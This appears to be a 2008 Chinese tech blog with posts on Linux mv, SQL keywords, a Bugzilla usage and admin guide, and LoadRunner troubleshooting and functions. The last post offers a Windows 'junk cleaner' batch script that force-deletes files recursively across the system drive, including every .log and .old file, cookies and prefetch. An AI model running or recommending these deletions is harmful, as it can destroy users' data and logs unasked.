               [root@rehat root]# mv -f test.txt test2/

          NO3. 当源与目标都拥有同一个文件,若源文件比目标新则移动,否则不移动

               [root@rehat root]# mv -u test.txt test2/

          NO4. 更改文件名称

               [root@rehat root]# mv test.txt test2.txt

          NO5. 更改目录名称
      
               [root@rehat root]# mv /test2 /test2_2
  • SQL语句

    2008-01-19 20:44:34

     --数据操作

      SELECT --从数据库表中检索数据行和列

      INSERT --向数据库表添加新数据行

      DELETE --从数据库表中删除数据行

      UPDATE --更新数据库表中的数据

      --数据定义

      CREATE TABLE --创建一个数据库表

      DROP TABLE --从数据库中删除表

      ALTER TABLE --修改数据库表结构

      CREATE VIEW --创建一个视图

      DROP VIEW --从数据库中删除视图

      CREATE INDEX --为数据库表创建一个索引

      DROP INDEX --从数据库中删除索引

      CREATE PROCEDURE --创建一个存储过程

      DROP PROCEDURE --从数据库中删除存储过程

      CREATE TRIGGER --创建一个触发器

      DROP TRIGGER --从数据库中删除触发器

      CREATE SCHEMA --向数据库添加一个新模式

      DROP SCHEMA --从数据库中删除一个模式

      CREATE DOMAIN --创建一个数据值域

      ALTER DOMAIN --改变域定义

      DROP DOMAIN --从数据库中删除一个域

    --数据控制

      GRANT --授予用户访问权限

      DENY --拒绝用户访问

      REVOKE --解除用户访问权限

      --事务控制

      COMMIT --结束当前事务

      ROLLBACK --中止当前事务

      SET TRANSACTION --定义当前事务数据访问特征

      --程序化SQL

      DECLARE --为查询设定游标

      EXPLAN --为查询描述数据访问计划

      OPEN --检索查询结果打开一个游标

      FETCH --检索一行查询结果

      CLOSE --关闭游标

      PREPARE --为动态执行准备SQL 语句

      EXECUTE --动态地执行SQL 语句

      DESCRIBE --描述准备好的查询

      ---局部变量

      declare @id char(10)

      --set @id = '10010001'

      select @id = '10010001'

  • Bugzilla

    2008-01-19 20:42:15

    绪言
    什么是Bugzilla
    Bugzilla是一个错误跟踪系统,用于对软件产品程序开发过程的错误跟踪。它的强大功能表现在以下几个方面:
    1.         强大的检索功能
    2.         用户可配置的通过Email公布Bug变更
    3.         历史变更记录
    4.         通过跟踪和描述处理Bug
    5.         附件管理
    6.         完备的产品分类方案和细致的安全策略
    7.         安全的审核机制
    8.         强大的后端数据库支持
    9.         Web,Xml,Email和控制界面
    10.     友好的网络用户界面
    11.     丰富多样的配置设定
    12.     版本间向下兼容
    为什么使用Bugzilla
    Bugzilla是一个拥有强大功能的错误跟踪系统。它可以使我们更好的在软件开发过程中跟踪软件错误的处理过程,为开发和测试工作以及产品质量的度量提供数据支持,从而有效的保证软件产品的质量。
     
    Bugzilla使用指南
    新建一个Bugzilla账号
    1.       点击“Open a new Bugzilla account”链接,输入你的Email地址(如:XXX@office)然后点击“Create Account”。
    2.       稍候,你会收到一封邮件。邮件中包含你的登录账号(与你的Email相同)和口令,这个口令时Bugzilla系统随机生成的,你可以根据你的需要进行变更。
    3.         在页面的黄色页角中点击“Log In”链接,而后输入你的账号和口令。最后点击“Login”
    产品和结构(Product and Component)
    Bug记录按产品分类,每种产品按功能拆分成几类。以Bugzilla产品为例,它由以下几部分构成:
              Administration
              Bugzilla-General
              Creating/Changing Bug
              Documentation
              Email
              Installation
              Query/Buglist
              Reporting/Charting
              User Accounts
              Changing Passwords
              User Interface
    Bug报告状态分类和Bug处理意见(Status and Resolution):
    1.       Bug报告状态分类(Status)
              待确认的(Unconfirmed)
              新提交的(New)
              已分配的(Assigned)
              问题未解决的(Reopened)
              待返测的(Resolved)
              待归档的(Verified)
              已归档的(Closed)
    2.       Bug处理意见(Resolution)
              已修改的(Fixed)
              不是问题(Nvalid)
              无法修改(Wontfix)
              以后版本解决(Later)
              保留(Remind)
              重复(Duplicate)
              无法重现(Worksforme)
    指定处理人(Assigned To)
              可以指定一个处理人
              如不指定处理人,则系统指定管理员为默认处理人
    超链接(URL)
              输入超链接地址,引导处理人找到与报告相关联的信息
    概述(Summary)
              概述部分“Summary”的描述,应保证处理人在阅读时能够清楚提交者在进行什么操作的时候发现了什么问题。
              如果是通用组件部分的测试,则必须将这一通用组件对应的功能名称写入概述中,以便今后查询。
    硬件平台和操作系统(Platform and OS)
              测试应用的硬件平台(Platform),通常选择“PC”
              测试应用的操作系统平台(OS)
    版本(Version)
              产生Bug的软件版本
    Bug报告优先级(Priority)
              分五个等级即P1-P5,P1的优先级别最高之后逐级递减
    Bug状态(Severity)
              Blocker,阻碍开发和/或测试工作
              Critical,死机,丢失数据,内存溢出
              Major,较大的功能缺陷
              Normal,普通的功能缺陷
              Minor,较轻的功能缺陷
              Trivial,产品外观上的问题或一些不影响使用的小毛病,如菜单或对话框中的文字拼写或字体问题等等
              Enhancement,建议或意见
    报告人(Reporter)
              Bug报告提交者的账号
    邮件抄送列表(CC List)
              Bug报告抄送对象,该项可以不填
              如需要抄送多人,可将邮件地址用“,”分隔
    从属关系(Bug “ID” depends on,Bug “ID” blocks)
              “Bug “ID” depends on”如果该Bug必须在其他Bug修改以后才能够修改,则在此项目后填写那个Bug的编号
              “Bug “ID” blocks”如果该Bug的存在影响了其他Bug的修改,则在此项目后填写被影响的Bug编号
    附加描述(Additional Comments)
              在Bug跟踪过程中测试与开发人员通过这里进行沟通
              开发人员可以在这里填写处理意见和处理记录
              测试人员可以在这里填写返测意见和对在返测过程中发现的新问题进行描述
    Bug查找
              可以通过页脚中的“Query”链接进入查找界面
              根据查找的需要在界面中选择对象或输入关键字
              查找功能能够进行字符或字串的匹配查找
              查找功能具有布尔逻辑检索功能
              你可以通过在查找页面中选择“Remember this as my default query”将当前检索页面中设定的项目保存。以后可以从页脚中的My bugs中直接调用这个项目进行检索
              你还可以通过在“Remember this query, and name it:”后面输入字符,将你当前检索页面中设定的项目保存命名,同时选中“and put it in my page footer”。则以后这个被命名的检索将出现在页脚中。(有关如何在页脚中设定显示的项目请参见1.5.3)
    Bug列表
              如果你运行了Bug检索功能,系统会根据你的需要列出相关的项目
              你可以通过列表页脚附近的“Change Columns”设定在列表中显示的Bug记录中的字段名称
              如果你拥有必要的权限,你还可以通过“Change several bugs”修改列表中罗列出的Bug的记录。例如:修改Bug的所有者
              通过“Send mail to bug owners”你可以给列表中罗列的Bug记录的所有者发信
              如果你对查找的结果不满意,希望重新调整检索设定。你可以通过“Edit this query”实现
              通常情况下,检索结果中只显示最基本的信息。你可以通过“Long Format”显示更详细的内容
    用户属性设置(Edit prefs)
    1           账号设置(Account Settings)
              在这里你可以改变你账号的基本信息,如口令,Email地址,真实姓名
              为了安全起见,在此页进行任何更改之前你都必须输入你当前的口令
              当你变更了你的Email地址,系统会给你的新老Email地址分别发一封确认邮件,你必须到邮件中指定的地址对你的更改进行确认
    2           Email设置(Email Settings)
              你可以在此通过选择告诉系统,你希望在什么条件下收到和你相关的邮件
    3           页脚(Page Footer)
              设定“Preset Queries”是否在页脚中显示
    4           用户权限(Permissions)
    你可以在此查看自己账号现在的权限

    测试跟踪工具Bugzilla介绍

    文章出处:http://www.csai.cn 作者:徐异婕 发布时间:2005-11-06


        也许你还没有看到一个错误管理系统所具有的价值;也许你正被大量的测试数据所淹没,而迫切的需要一个产品缺陷的记录及跟踪的好帮手;也许你正在通过如:电子表格、数据库等各种方式来不断的开发和完善一个错误跟踪系统。Mozilla公司向我们提供了一个共享的免费工具Buzilla.作为一个产品缺陷的记录及跟踪工具,它能够为你建立一个完善的Bug跟踪体系,包括报告Bug、查询Bug记录并产生报表、处理解决、管理员系统初始化和设置四部分。并具有如下特点:

      1。基于Web方式,安装简单、运行方便快捷、管理安全。

      2。有利于缺陷的清楚传达。本系统使用数据库进行管理,提供全面详尽的报告输入项,产生标准化的Bug报告。 提供大量的分析选项和强大的查询匹配能力,能根据各种条件组合进行Bug统计。当错误在它的生命周期中变化时,开发人员、测试人员、及管理人员将及时获得动态的变化信息,允许你获取历史纪录,并在检查错误的状态时参考这一记录。

      3。系统灵活,强大的可配置能力。Buzilla工具可以对软件产品设定不同的模块,并针对不同的模块设定制定的开发人员和测试人员;这样可以实现提交报告时自动发给指定的责任人;并可设定不同的小组,权限也可划分。设定不同的用户对Bug记录的操作权限不同,可有效控制进行管理。允许设定不同的严重程度和优先级可以在错误的生命其中管理错误,从最初的报告到最后的解决,确保了错误不会被忽略,同时可以使注意力集中在优先级和严重程度高的错误上。

      4。自动发送Email,通知相关人员。根据设定的不同责任人,自动发送最新的动态信息,有效的帮助测试人员和开发人员进行沟通。

      下面我们将按照Bugzilla的操作说明、 Bugzilla管理员的操作指南两部分来说明这个工具的具体使用。本文有不少观点来自个人使用心得,有不妥之处,敬请斧正。

    Bugzilla操作说明

    1、 用户登录及设置

    1.1用户登录

      1. 用户输入服务器地址http://192.168.1.6/bugzilla/

      2. 进入主页面后,点击【Forget the currently stored login】,再点击【login in】进入。

      3. 进入注册页面,输入用户名和密码即可登录。用户名为Email 地址,初始密码为用户名缩写。

      4. 如忘记密码,输入用户名,点击【submit request】,根据收到的邮件进行重新设置。

    1.2、修改密码及设置

      1.Login登录后,【Edit prefs】->【accout settings】 进行密码修改。

      2.【Edit prefs】->【email settings】 进行邮件设置。

      3.【Edit prefs】-> 【permissions】 进行权限查询

    2、Bug的处理过程

    2.1、报告Bug

    2.1.1测试人员报告Bug

      1. 请先进行查询,确认要提交的bug报告不会在原有纪录中存在,若已经存在,不要提交,若有什么建议,可在原有纪录中增加注释,告知其属主,让bug的属主看到这个而自己去修改。

      2. 若Bug不存在,创建一份有效的bug报告后进行提交。

      3. 操作:点击New,选择产品后,填写下表。

      4. 填表注意:Assigned to: 为空则默认为设定的 owner, 也可手工制定。CC: 可为多人,需用","隔开。Desription中要详细说明下列情况:

      1) 发现问题的步骤

      2) 执行上述步骤后出现的情况。

      3) 期望应出现的正确结果。

      选择group设置限定此bug对组的权限,若为空,则为公开。

      5. 操作结果:Bug状态(status)可以选择Initial state 为New或Unconfirmed.

      系统将自动通过Email通知项目组长或直接通知开发者。

      6.帮助: Bug writing guidelines

    2.1.2 开发人员报告Bug.

      1. 具体方法同测试人员报告。

      2. 区别: Bug初始状态将自动设为Unconfirmed,待测试人员确定后变为“New".

    2.2、Bug的不同处理情况

    2.2.1 Bug的属主 (owner) 处理问题后,提出解决意见及方法。

      1 . 给出解决方法并填写Additional Comments,还可创建附件(如:更改提交单)

      2.具体操作(填表项如下)

      3 . 填表注意:

      FIXED 描述的问题已经修改

      INVALID 描述的问题不是一个bug (输入错误后,通过此项来取消)

      WONTFIX 描述的问题将永远不会被修复。

      LATER 描述的问题将不会在产品的这个版本中解决.

      DUPLICATE 描述的问题是一个存在的bug的复件。

      WORKSFORME 所有要重新产生这个bug的企图是无效的。如果有更多的信息出现,请重新分配这个bug,而现在只把它归档。

    2.2.2 项目组长或开发者重新指定Bug的属主。(owner)

      1. 为此bug不属于自己的范围,可置为 Assigned,等待测试人员重新指定。

      2. 为此bug不属于自己的范围,但知道谁应该负责,直接输入被指定人的Email, 进行Ressigned。

      3. 操作:(可选项如下)

      * Accept bug (change status to ASSIGNED)

      * Reassign bug to

      * Reassign bug to owner and QA contact of selected component

      4. 操作结果:此时bug状态又变为New,此bug的owner变为被指定的人。

    2.2.3测试人员验证已修改的 Bug.

      1. 测试人员查询开发者已修改的bug,即Status为"Resolved",Resolution为"Fixed".进行重新测试。(可创建test case附件)

      2. 经验证无误后,修改Resolution为VERIFIED。待整个产品发布后,修改为CLOSED。

      若还有问题,REOPENED,状态重新变为“New",并发邮件通知。

      3. 具体操作(可选择项)

       1. Leave as RESOLVED FIXED

       2. Reopen bug

       3. Mark bug as VERIFIED

       4. Mark bug as CLOSED

    2.2.4 Bug报告者(reporter)或其他有权限的用户修改及补充Bug

      1. 可以修改Bug的各项内容。

      2. 可以增加建立附件,增加了相关性, 并加一些评论来解释你正在做些什么和你为什么做。

      3. 操作结果:每当一些人修改了bug报告或加了一个评论,他们将会被加到CC列表中,bug报告中的改变会显在要发给属主、写报告者和CC列表中的人的电子邮件中。

    2.2.5测试人员确认开发人员报告的Bug是否存在.

      1. 查询状态为“Unconfirmed"的Bug,

      2. 测试人员对开发人员提交的Bug进行确认,确认Bug存在。

      3. 具体操作:选中“Confirm bug(change status to New)"后,进行commit.

      4. 操作结果:状态变为“New".

    2.3、查询Bug

      1.直接输入Bug Id,点击find 查询。可以查看Bug的活动纪录。

      2.点击Query,输入条件进行查询。

      3.查询Bug活动的历史

      4.产生报表。

      5.帮助:点击Clue.

    3、关于权限的说明

      1. 组内成员对bug具有查询的权利,但不能进行修改。

      2. Bug的owner 和 reporter 具有修改的权利。

      3. 具有特殊权限的用户具有修改的权利。

    4、 BUG处理流程

      1. 测试人员或开发人员发现bug后,判断属于哪个模块的问题,填写bug报告后,通过Email通知项目组长或直接通知开发者。

      2. 项目组长根据具体情况,重新reassigned分配给bug所属的开发者。

      3. 开发者收到Email信息后,判断是否为自己的修改范围.

      1) 若不是,重新reassigned分配给项目组长或应该分配的开发者。

      2) 若是,进行处理,resolved并给出解决方法。(可创建补丁附件及补充说明)

      4. 测试人员查询开发者已修改的bug,进行重新测试。(可创建test case附件)

      1) 经验证无误后,修改状态为VERIFIED。待整个产品发布后,修改为CLOSED。

      2) 还有问题,REOPENED,状态重新变为“New",并发邮件通知。

      5. 如果这个BUG一周内一直没被处理过。Bugzilla就会一直用email骚扰它的属主,直到采取行动。

    5、一个Bug的生存周期
     

    Bugzilla管理员操作指南

    1、主要工作内容:

    1. 1产品(Product)、版本号(versions)和模块(Components)的定义,同时指定模块相应的开发者(owner)和测试人员(QA Contact)。

    1.2小组的定义和划分

    1.3测试中Bug严重程度、优先级的定义

    1. 4增加用户,并分别设定全部用户的分组、权限。

    1. 5主要参数(parameters)的设置

      1) urlbase: 输入bugzilla 工具所在的服务器IP地址。

      2) usebuggroupsentry: 设为ON,可以分组。

      3) whinedays:Bug在whinedays设定的期限内若未被处理,将自动重发mail,默认为7天。

      4) defaultpriority:设定默认的优先级

      5) commentonresolve:设为ON,系统将强制要求开发者处理完Bug 后,必须填写修改的内容。

    2、基本操作:

    2.1创建默认的管理员用户。

      运行checksetup.pl。若不小心删除管理员,重新运行checksetup.pl.

    2.2 管理用户

    2.1 增加新用户

      点击页面右下角【users】,submit后,出现【Add new user】页面。输入相应输入即可。Login name: 一般为邮件地址,可以设为其他标识。

    2.2 禁止一个用户

      填写Disabled text 输入框即可。

    2.3 修改用户

      可以修改用户注册名、密码。

      设置权限

      QA的权限一般设为: Canconfirm, editbugs

      Developer的权限设为: none

      分组控制:group

    3、管理group

    3.1.增加group

      edit groupàadd groups (New User Regexp可不填/active 选择则可选)->add

    3.2修改group ,submit 即可。

      4、管理Product 和 component

      a)增加Product

      b) Component 对应一个owner(进行fixed),QA Contact(确保已fixed)

      c) Component Number of Unconfirmed =10000,此产品将选择bug的初始状态(Unconfirmed,New)

  • LR排错

    2008-01-19 20:39:56

    问题出现
     
            只是浏览两个AJAX页面。脚本经过关联等编辑后,在vugen里回放没有问题,添加到controller里运行2个用户会出现一个用户失败的现象,但不是每次都出现,每运行三次,大概有二次会出现这样的现象。没有思考时间,没有pacing设置。如果运行500用户就会有300以上的用户会出错。
     
     
    排错
     
     
            打开LOG,选择:总是发送消息。再次回放,查看出错vuser的LOG,看到在脚本101行出错,具体代码不再给出。只是请求了一个servlet。因为在vugen中回放没有出错,排除了脚本的问题。
            再次选择LOG,选择:Data returned by server,再次在controller中运行一次。查看出错vuser的LOG,查看response值为一个java异常。
            提交到开发,检查该行代码。
     
     
    原因解释
     
     
            代码中,用(Token+两位随机值)来确认client的身份是否唯一。但token的生成是依赖一个name变量。在这个应用中,name的变量为同一值。故生成的token也为同一值。那么导致的结果就是只有随机值来确认client的唯一身份。如何生成随机值这里不再讨论,但导致的结果是生成两位随机值相同的概率很大。故出现以上错误。
     
     
    解决办法
     
     
            增加随机值的长度。
            至此,问题解决。
  • LR

    2008-01-19 20:37:35

    web_url

    语法:
    Int Web_url(const char *name, const char * url, <Lists of Attributes>, [EXTRARES,<Lists of Resource Attributes>,LAST)

    返回值
    成功时返回LR_PASS (0),失败时返回 LR_FAIL (1)。

    参数:
    Name:VuGen中树形视图中显示的名称,在自动事务处理中也可以用做事务的名称。

    url:页面url地址。

    List of Attributes

    EXTRARES:分隔符,标记下一个参数是资源属性的列表了。

    List of Resource Attributes

    LAST:属性列表结束的标记符。


    说明

    Web_url根据函数中的URL属性加载对应的URL,不需要上下文。

    只有VuGen处于URL-based或者HTML-based(此时A scrīpt containing explicit URLs only选项被选中时)的录制模式时,web_url才会被录制到。

    可以使用web_url 模拟从FTP服务器上下载文件。web_url 函数会使FTP服务器执行文件被真实下载时的操作。除非手工指定了"FtpAscii=1",下载会以二进制模式完成。

    在录制选项中,Toos—Recording Option下,Recording选项中,有一个Advanced HTML选项,可以设置是否录制非HTML资源,只有选择了“Record within the current scrīpt step”时,List of Resource Attributes才会被录制到。非HTML资源的例子是gif和jpg图象文件。

    通过修改HTTP头可以传递给服务器一些附加的请求信息。使用HTTP头允许请求中包含其他的内容类型(Content_type),象压缩文件一样。还可以只请求特定状态下的web页面。

    所有的Web Vusers ,HTTP模式下的WAP Vusers或者回放模式下的Wireless Session Protocol(WSP),都支持web_url函数。


    web_image

    语法:
    Int web_image (const char *StepName, <List of Attributes>, [EXTRARES, <List of Resource Attributes>,] LAST );

    返回值
    成功时返回LR_PASS (0),失败时返回 LR_FAIL (1)。

    参数:
    StepName:VuGen中树形视图中显示的名称,在自动事务处理中也可以用做事务的名称。

    List of Attributes(服务器端和客户端映射的图片):SRC属性是一定会被录制到的,其他的ALT、Frame、TargetFrame、Ordinal则是有的话会被录制到。

    1、ALT:描述图象的元素。用鼠标指向图象时,所浮出来的文字提示。

    2、SRC:描述图象的元素,可以是图象的文件名. 如: button.gif。也可以使用SRC/SFX来指定图象路径的后缀。所有拥有相同此后缀的字符串都会被匹配到。

    3、Frame:录制操作时所在的Frame的名称。

    4、TargetFrame:见List of Attributes的同名参数。

    5、Ordinal:参见Web_link的同名参数。

    List of Attributes(客户端映射的图片):

    1、AreaAlt:鼠标单击区域的ALT属性。

    2、AreaOrdinal:鼠标单击区域的顺序号。

    3、MapName:图象的映射名。

    List of Attributes(服务器端映射的图片):尽管点击坐标不属于属性,但还是以属性的格式来使用。
     
    1、Xcoord:点击图象时的X坐标。

    2、Ycoord:点击图象时的Y坐标。

    EXTRARES:分隔符,标记下一个参数是资源属性的列表了。

    List of Resource Attributes:参见List of Resource Attributes一节。

    LAST:属性列表结束的标记符。

    说明

    web_image模拟鼠标在指定图片上的单击动作。此函数必须在有前置操作的上下文中使用。

    在Toos—Recording Option,如果录制级别设为基于HMTL的录制方式时,web_image才会被录制到。
     
    web_image支持客户端(client-side)和服务器端server-side的图片映射。

    在录制选项中,Toos—Recording Option下,Recording选项中,有一个Advanced HTML选项,可以设置是否录制非HTML资源,只有选择了“Record within the current scrīpt step”时,List of Resource Attributes才会被录制到。非HTML资源的例子是gif和jpg图象文件。

    通过修改HTTP头可以传递给服务器一些请求附加信息。使用HTTP头允许请求中包含内容,如同压缩文件一样。还可以只请求特定状态的web页面。

    web_image支持Web虚拟用户,不支持WAP虚拟用户。

    例子

    下面的例子模拟用户单击Home图标以回到主页(黑体部分):

    web_url("my_home", "URL=http://my_home/", LAST);

    web_link("Employees", "Text=Employees", LAST);

    web_image("Home.gif", "SRC=../gifs/Buttons/Home.gif", LAST);

    web_link("Library", "Text=Library", LAST);

    web_image("Home.gif", "SRC=../../gifs/buttons/Home.gif", LAST);

    下面的例子模拟用户在客户端映射的图片上单击:

    web_image("dpt_house.gif",


           "Src=../gifs/dpt_house.gif",


           "MapName=dpt_house",


           "AreaOrdinal=4",


           LAST);


    下面的例子模拟用户在服务端映射的图片上单击:

    web_image("The Web Developer's Virtual Library",


           "Alt=The Web Developer's Virtual Library",


           "Ordinal=1",


           "XCoord=91",


           "YCoord=17",


           LAST);

    下面是一个使用文件名后缀的例子:它指定了dpt_house.gif作为后缀,所以象../gifs/dpt_house.gif、/gifs/dpt_house.gif、gifs/dpt_house.gif、/dpt_house.gif等都会匹配到。

    web_image("dpt_house.gif",

            "Src/sfx=dpt_house.gif", LAST);


    web_link

    语法:
    Int web_link (const char *StepName, <List of Attributes>, [EXTRARES, <List of Resource Attributes>,] LAST );

    返回值
    成功时返回LR_PASS (0),失败时返回 LR_FAIL (1)。

    参数:
    StepName:VuGen中树形视图中显示的名称,在自动事务设置中也被用做事务名称。

    List of Attributes:支持下列的属性:

    1.Text:超链接中的文字,必须精确匹配。

    2.Frame:录制操作时所在的Frame的名称。

    3.TargetFrame、ResourceByteLimit:见List of Attributes一节。

    4.Ordinal:如果用给出的属性(Attributes)筛选出的元素不唯一,那么VuGen使用此属性来指定其中的一个。例如:“SRC=abc.gif”,“Ordinal=3”标记的是SRC的值是“abc.gif”的第3张图片。

    EXTRARES:表明下面的参数将会是list of resource attributes了。

    LAST:结尾标示符。

    说明

    模拟鼠标在由若干个属性集合描述的链接上进行单击。此函数必须在前置动作的上下文中才可以执行。

    web_link 仅仅在基于HTML的录制方式中才会被VuGen捕捉到。

    非HTML生成的资源的例子有.gif 和.jpg图像。对于List of Resource Attributes参数来说,仅仅当Recording Options--Recording --HTML-based scrīpt-- Record within the current scrīpt step选项被选中时,它们才会被插入到代码中。

    可以通过改变HTTP头信息给服务器传递一些附加信息。使用HTTP头信息可以,允许响应体中包含其他的内容类型(Content-Type),例如压缩文件,或者只有满足了特定的状态才去请求web页。

    此函数值支持Web虚拟用户,不支持WAP虚拟用户。


    web_submmit_form

    语法:
    Int web_submit_form (const char *StepName, <List of Attributes>, <List of Hidden Fields>, ITEMDATA, <List of Data Fields>, [ EXTRARES, <List of Resource Attributes>,] LAST );


    返回值
    成功时返回LR_PASS (0),失败时返回 LR_FAIL (1)。


    参数:
    StepName:Form的名字。VuGen中树形视图中显示的名称,在自动事务处理中也可以用做事务的名称。
    List of Attributes:支持以下属性:

    1.Action:Form中的ACTION属性,指定了完成Form中的操作用到的URL。也可以使用“Action/sfx” 表示使用此后缀的所有Action。

    2.Frame:录制操作时所在的Frame的名称。

    3.TargetFrame、ResourceByteLimit:见List of Attributes的同名参数。

    4.Ordinal:参见Web_link的同名参数。


    VuGen通过记录数据域唯一的标识每个Form。如果这样不足以识别Form,VuGen会记录Action 属性。如果还不足以识别,则会记录Ordinal 属性,这种情况下不会记录Action属性。

    List of Hidden Fields:补充属性(Serves)。 通过此属性可以使用一串隐含域来标识Form。使用下面的格式:

    STARTHIDDENS,

    "name=n1", "value=v1", ENDITEM,

    "name=n2", "value=v2", ENDITEM,

    ENDHIDDENS,

    List of Data Fields

    Data项用来标识form。Form是通过属性和数据来共同识别的。

    使用下面的格式来表示数据域列表

    "name=n1", "value=v1", ENDITEM,

    "name=n2", "value=v2", ENDITEM,

    ITEMDATA:Form中数据和属性的分隔符。

    EXTRARES:一个分隔符,标记下一个参数是资源属性的列表了。

    List of Resource Attributes:参见List of Resource Attributes一节。

    LAST:属性列表结束的标记符。

    说明

    web_submit_form 函数用来提交表单。此函数可能必须在前一个操作的上下文中执行。在Toos—Recording Option,只有录制级别设为基于HMTL的录制方式,web_image才会被录制到。

    在录制选项中,Toos—Recording Option下,Recording选项中,有一个Advanced HTML选项,可以设置是否录制非HTML资源,只有选择了“Record within the current scrīpt step”时,List of Resource Attributes才会被录制到。非HTML资源的例子是gif和jpg图象文件。

    通常情况下,如果录制了web_submit_form 函数,VuGen会把“name”和“value”一起录制到ITEMDATA属性中。如果不想在脚本中以明文显示“value”,可以对它进行加密。把“Value”改为“EncryptedValue”,然后把录制到的值改为加密后的值。

    例如:可以把 "Name=grpType", "Value=radRoundtrip", ENDITEM

    改为:"Name=grpType", EncryptedValue=409e41ebf102f3036b0549c799be3609", ENDITEM

    如果你完整的安装了LoadRunner,那么打开开始菜单--Mercury LoadRunner—Tools--Password Encoder,这个小工具是用来加密字符串的。把需要加密的值粘贴到Password一栏,再点Generate按钮。加密后的字符串会出现在Encoded string框中。接着点Copy按钮,然后把它粘贴到脚本中,覆盖原来显示的“Value”。

    加密的另一种方法时使用lr_decrypt函数。方法:选择整个字符串,例如“Value=radRoundtrip”(注意不要选择引号),右击鼠标,选择Encrypt string选现,脚本会变为:

    "Name=grpType", lr_decrypt("40d176c46f3cf2f5fbfaa806bd1bcee65f0371858163"), ENDITEM,

    web_submit_form支持Web虚拟用户,不支持WAP虚拟用户。

    例子:

    下面的例子中,web_submit_form 函数的名字是“employee.exe”。此函数提交了一个请求,此请求包含雇员信息John Green。此函数没有使用属性(Attributes)是因为通过数据项已经能唯一的标识这个Form了。

  • 垃圾

    2008-01-19 20:32:58

    一分钟清除系统垃圾

    Windows在安装和使用过程中都会产生相当多的垃圾文件,包括临时文件(如:*.tmp*._mp日志文件(*.log)、临时帮助文件(*.gid)、磁盘检查文件(*.chk)、临时备份文件(如:*.old*.bak)以及其他临时文件。特别是如果一段时间不清理IE的临时文件夹“Temporary Internet Files”,其中的缓存文件有时会占用上百MB的磁盘空间。这些LJ文件不仅仅浪费了宝贵的磁盘空间,严重时还会使系统运行慢如蜗牛。

    下面是步骤很简单就两步:

    在桌面上点鼠标右键,选择新建一个“文本文档”,把下面的双虚线之间的字复制进去,点“另存为”,把文件名定为“清除系统LJ.bat”就完成,记住后缀名一定要是.bat,文件类型为所有类型,好ok了!你的垃圾清除器就这样制作成功了!

    ==========================================================

    @echo off

    echo 正在清除系统垃圾文件,请稍等……

    del /f /s /q %systemdrive%\*.tmp

    del /f /s /q %systemdrive%\*._mp

    del /f /s /q %systemdrive%\*.log

    del /f /s /q %systemdrive%\*.gid

    del /f /s /q %systemdrive%\*.chk

    del /f /s /q %systemdrive%\*.old

    del /f /s /q %systemdrive%\recycled\*.*

    del /f /s /q %windir%\*.bak

    del /f /s /q %windir%\prefetch\*.*

    rd /s /q %windir%\temp &amp; md %windir%\temp

    del /f /q %userprofile%\cookies\*.*

    del /f /q %userprofile%\recent\*.*

    del /f /s /q “%userprofile%\Local Settings\TemporaryInternetFiles\*.*”

    del /f /s /q “%userprofile%\Local Settings\Temp\*.*”

    del /f /s /q “%userprofile%\recent\*.*”

    echo 清除系统LJ完成!

    echo. &amp; pause

    ===========================================================

    以后只要双击运行该文件,当屏幕提示“清除系统LJ完成!就还你一个“苗条”的系统了! 

Open Toolbar